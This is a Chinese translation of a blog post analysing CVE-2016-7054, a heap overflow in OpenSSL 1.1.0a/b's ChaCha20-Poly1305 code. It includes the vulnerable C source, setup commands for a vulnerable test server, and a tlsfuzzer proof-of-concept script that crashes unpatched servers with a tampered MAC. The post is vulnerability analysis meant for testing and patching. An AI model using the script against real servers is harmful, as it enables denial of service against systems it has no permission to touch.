安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】CVE-2016-7054:OpenSSl 1.1.0a 、1.1.0b堆溢出漏洞利用

翻译:FlamePeak

预估

,或登陆

几天前,Fortinet发表了一个题为“OpenSSL ChaCha20-Poly1305堆溢出(CVE-2016-7054)分析”的文章。OpenSSL程序库中的一个高危堆溢出漏洞被发现,影响1.1.0a和1.1.0b版本。漏洞代码位于openssl-OpenSSL_1_1_0a\crypto\evp\e_chacha20_poly1305.c文件中。

让我们看一下这段存在漏洞的代码:

//Line No 196
static int chacha20_poly1305_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out,
        const unsigned char *in, size_t len)
       {
       ...
       //Line No 241
       } else { /* ciphertext: Decrypt the ciphertext */
           Poly1305_Update(POLY1305_ctx(actx), in, plen);
           chacha_cipher(ctx, out, in, plen);
           in += plen;
           out += plen; //out points to the end of the buffer where decrypted ciphertext is stored.
           actx->len.text += plen;
       }
      ...
      //Line No 293
       Poly1305_Final(POLY1305_ctx(actx), ctx->encrypt ? actx->tag
            : temp); //Generate MAC from the ciphertext
            actx->mac_inited = 0;if (in != NULL && len != plen) { /* tls mode */
            if (ctx->encrypt) {
                memcpy(out, actx->tag, POLY1305_BLOCK_SIZE);
             } else {
                if (CRYPTO_memcmp(temp, in, POLY1305_BLOCK_SIZE)) {
                    /* If the generated MAC doesn't match the one sent along with ciphertext...
                       Clear the buffer where ciphertext was stored, but notice that 'out' points
                       to the end of the buffer ** So extra space from heap will be cleared **
                     */
                     memset(out, 0, plen);
                     return -1;
                }
             }
      }
      else if (!ctx->encrypt) {
          if (CRYPTO_memcmp(temp, actx->tag, actx->tag_len))
              return -1;
          }
      }
      return len;
}


CHaCHa20流密码和Poly1305消息认证码


ChaCha20

ChaCha20是Salsa20算法的改良版,使用256比特密钥。ChaCha20连续的使用同一个密钥和随机数调用ChaCha20块函数,并连续增加块计数器参数。然后,ChaCha20以小字节序(little-endian order)对结果进行序列化处理,得到密钥流数据块。这个密钥流数据块将与明文进行异或运算得到密文。

ChaCha20的输入:

1. 256比特密钥

2. 32比特初始计数器

3. 96比特随机数(IV)

4. 任意长度的明文

其输出是与明文长度相同的密文。

Poly1305

Poly1305是一个一次性的验证器,其输入为:

1. 32比特的一次性密钥

2. 一段消息

其输出是16字节的标记(Tag),用于验证消息。Poly1305使用AES加密随机数,但是AES可以被任意的带密钥的函数替代,就像这篇论文描述的。

因此使用ChaCha20-Poly1305我们得到:

http://p2.qhimg.com/t0116954ff702dcc7ce.png

至此,我们已经知道足够的基础知识,现在我们可以进行深入分析。下一步,我们尝试通过生成带有错误标记的TLS消息来触发有漏洞的代码。

t01482deba1cf1e2243.png

我们发送一个ClientHello,通过一个使用ChaCha20和Poly1305的加密套件(cipher suite),例如DHE-RSA-CHACHA20-POLY1305-SHA256。如果服务器支持这个加密套件,它将会返回一个服务器Hello,否则它将会引发握手失败警告(ChaCha20-Poly1305 的支持在OpenSSL 1.1.0中引入)。密钥交换和消息完成之后,我们可以发送我们应用程序的数据,这里是我们想发送一个恶意的消息认证码(MAC)来触发漏洞的地方。

为了利用这个漏洞,我们需要与服务器协商ChaCha20-Poly1305加密套件,并发送一个带有恶意消息认证码(MAC)的消息。让我们首先配置运行OpenSSL 1.1.0a的服务器。


设置 OpenSSL 1.1.0a


我们可以从https://www.openssl.org/source/old/1.1.0/下载需要的版本,解压文档之后,我们配置该软件包,但是我们不希望它覆盖我们现在安装的OpenSSL版本,我们可以如下进行配置:

./config --prefix=/opt/openssl-1.1.0a --openssldir=/opt/openssl-1.1.0a

然后make并安装这个软件包。然后,我们运行生成证书和密钥并设置OpenSSL侦听传入的TLS链接。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /opt/openssl-1.1.0a/cert.key -out /opt/openssl-1.1.0a/cert.crt
/opt/openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key /opt/openssl-1.1.0a/cert.key -cert /opt/openssl-1.1.0a/cert.crt -accept 443 -www -tls1_2 -msg


漏洞利用


(使用带有恶意消息认证码的ChaCha20-Poly1305连接到服务器)

使用TLS Fuzzer和它的fuzz_application_data功能,我们可以发送一个恶意消息认证码到我们有漏洞的OpenSSL实例 (https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py)。

# Offsec Research - babak@offsec.ir
conversations = {}
# 16 chars: POLY1305 tag 128 bit
# Tampering the last bit suffices to damage the MAC
# The payload has to be long enough to trigger heap overflow
n = 15000
fuzzes = [(-1, 1)]
for pos, val in fuzzes:
    conversation = Connect(sys.argv[1], int(sys.argv[2]))
    node = conversation
    ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256]
    node = node.add_child(ClientHelloGenerator(ciphers))
    node = node.add_child(ExpectServerHello())
    node = node.add_child(ExpectCertificate())
    node = node.add_child(ExpectServerKeyExchange())
    node = node.add_child(ExpectServerHelloDone())
    node = node.add_child(ClientKeyExchangeGenerator())
    node = node.add_child(ChangeCipherSpecGenerator())
    node = node.add_child(FinishedGenerator())
    node = node.add_child(ExpectChangeCipherSpec())
    node = node.add_child(ExpectFinished())
    node = node.add_child(fuzz_encrypted_message(
    ApplicationDataGenerator(b"GET / HTTP/1.0\n" + n * b"A" + b"\n\n"), xors={pos:val}))
    node = node.add_child(ExpectAlert(AlertLevel.fatal,
    AlertDescription.bad_record_mac))
    node = node.add_child(ExpectClose())

如果OpenSSl实例不存在漏洞,它将会回复bad_record_mac警告并关闭连接,而存在漏洞的实例将会崩溃:

t01fed388d159e9d498.png

我决定为开发团队提供这个示例代码,以便能够测试他们可能基于OpenSSL代码库的自定义的堆栈和产品是否存在这个漏洞。OpenSSL 1.1.0c及以后版本对这个漏洞进行了修复,通过将"out"指针设置到密文的开头而不是结尾。升级将会解决这个问题。我必须指出,漏洞的影响仅限于拒绝服务。


原文链接:http://offsec.ir/blog/2016/12/exploiting-cve-2016-7054-openssl-1-1-0a-and-b-heap-buffer-overflow/

未经允许不得转载:安全路透社 » 【技术分享】CVE-2016-7054:OpenSSl 1.1.0a 、1.1.0b堆溢出漏洞利用

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册